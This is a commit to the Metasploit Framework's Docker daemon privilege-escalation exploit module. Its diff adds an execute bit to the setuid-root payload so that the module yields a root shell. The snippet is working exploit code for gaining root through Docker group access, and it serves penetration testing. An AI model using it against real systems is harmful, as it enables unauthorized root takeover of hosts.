Fix permissions in docker priv_esc module

The previous command didn't give the original user enough permissions
to execute the payload. This was resulting in permission denied
and preventing me from getting a root shell.

Fixes rapid7#8937

Author: jbarnett-r7

modules/exploits/linux/local/docker_daemon_privilege_escalation.rb

@@ -64,7 +64,7 @@ def shell_script(exploit_path)
 
     %Q{
       IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
-      EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
+      EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}; chmod +x #{exploit_path}"
       docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
       docker rmi -f $IMG
       #{exploit_path}